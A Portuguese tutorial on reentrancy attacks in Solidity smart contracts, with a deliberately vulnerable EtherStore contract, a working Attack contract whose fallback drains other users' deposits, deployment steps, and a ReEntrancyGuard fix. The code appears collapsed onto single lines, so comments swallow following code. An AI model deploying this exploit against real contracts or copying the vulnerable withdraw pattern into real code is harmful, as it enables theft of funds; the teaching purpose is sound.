Nesse artigo iremos aprender a como um contrato malicioso de reentrada funciona e como previnir um ataque em seu contrato inteligente.
Vulnerabilidade
Digamos que o contrato A
chama contrato B
.
A exploração de reentrada permite B
chamar de volta A
antes que A
termine a execução.
Um exemplo de como um ataque funciona:
EtherStore é um contrato onde você pode depositar e retirar ETH.
Este contrato é vulnerável ao ataque de reentrada.
Vamos ver por quê.
- Implante o contrato EtherStore
- As contas de Alice (Conta 1) e Bob (Conta 2) na EtherStore depositam 1 Ether cada
- Implante o ataque com o endereço da EtherStore
- Chame Attack.attack enviando 1 ether (usando a do Eve (Conta 3)). Você receberá 3 Ethers de volta (2 Ethers roubados de Alice e Bob, mais 1 Ether enviado deste contrato)
O que aconteceu?
O ataque conseguiu chamar EtherStore.withdraw
várias vezes antes que EtherStore.withdraw
termina-se de executar.
Aqui está como as funções foram chamadas:
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Fallback de ataque (recebe 1 Ether)
- EtherStore.withdraw
- Attack.fallback (recebe 1 Ether)
- EtherStore.withdraw
- Fallback de ataque (recebe 1 Ether)
// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract EtherStore {mapping(address => uint) public balances;function deposit() public payable {balances[msg.sender] += msg.value;}function withdraw() public {uint bal = balances[msg.sender];require(bal > 0);(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Falha ao enviar Ether");balances[msg.sender] = 0;}// Função auxiliar para verificar o saldo deste contratofunction getBalance() public view returns (uint) {return address(this).balance;}}contract Attack {EtherStore public etherStore;constructor(address _etherStoreAddress) {etherStore = EtherStore(_etherStoreAddress);}// Fallback é chamado quando EtherStore envia Ether para este contrato.fallback() external payable {if (address(etherStore).balance >= 1 ether) {etherStore.withdraw();}}function attack() external payable {require(msg.value >= 1 ether);etherStore.deposit{value: 1 ether}();etherStore.withdraw();}// Função auxiliar para verificar o saldo deste contratofunction getBalance() public view returns (uint) {return address(this).balance;}}
Técnicas Preventivas
- Certifique-se de que todas as mudanças de estado aconteçam antes de chamar contratos externos
- Use modificadores de função que impeçam a reentrada
Aqui está um exemplo de como proteger seu contrato de um ataque de reentrada
// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract ReEntrancyGuard {bool internal locked;modifier noReentrant() {require(!locked, "Bloqueado para reentrada até finalizar a operação atual");locked = true;_;locked = false;}}